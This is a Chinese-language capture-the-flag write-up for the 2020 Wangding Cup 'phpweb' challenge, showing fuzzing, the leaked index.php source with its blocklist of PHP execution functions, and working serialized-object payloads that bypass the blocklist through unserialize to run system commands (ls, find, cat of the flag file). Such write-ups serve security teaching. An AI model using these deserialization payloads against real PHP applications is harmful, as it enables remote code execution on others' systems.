2020-网鼎杯-phpweb | 代码审计与PHP反序列化

考查点

1、函数过滤
2、反序列化

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打开源码，可以看到有POST传参，抓包看看

存在两个参数func和p，对参数func进行fuzz测试

发现有file_get_contents函数没有被过滤，配合第二个参数进行操作查看源码（没看源码前怎么知道参数会这样配合，蒙ing…）

func=file_get_contents&p=index.PHP

index.php源码如下

<?PHP
$disable_fun = array("exec","shell_exec","system","passthru","proc_open"
    ,"show_source","PHPinfo","popen","dl","eval","proc_terminate","touch"
    ,"escapeshellcmd","escapeshellarg","assert","substr_replace"
    ,"call_user_func_array","call_user_func","array_filter", "array_walk"
    ,"array_map","registregister_shutdown_function","register_tick_function"
    ,"filter_var", "filter_var_array", "uasort", "uksort", "array_reduce"
    ,"array_walk","array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
    $result = call_user_func($func, $p);  //call_user_func 把第一个参数作为回调函数调用
    $a= gettype($result);                 //返回 PHP 变量的类型
    if ($a == "string") {
        return $result;
    } else {
        return "";
    }
}
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func,$disable_fun)) {
        echo gettime($func, $p);
    }else {
        dIE("Hacker...");
    }
}
?>

简单的流程就是
1、先传入参数，判断参数func是否包含disable_fun这个数组里面的函数
2、调用gettime方法，进而执行call_user_func函数，把func参数作为回调函数，p参数作为回调函数的参数，再根据PHP变量类型决定是否返回
3、在对象销毁时执行__destruct( )函数，再次执行gettime( )

构造脚本payload

<?php
class Test {
    var $p = "ls";
    var $func = "system";
}
$a=new Test;
print(serialize($a));
?>  
//O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

反序列化，利用call_user_func函数进行绕过

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:20:"cat /flag_1047823620";s:4:"func";s:6:"system";}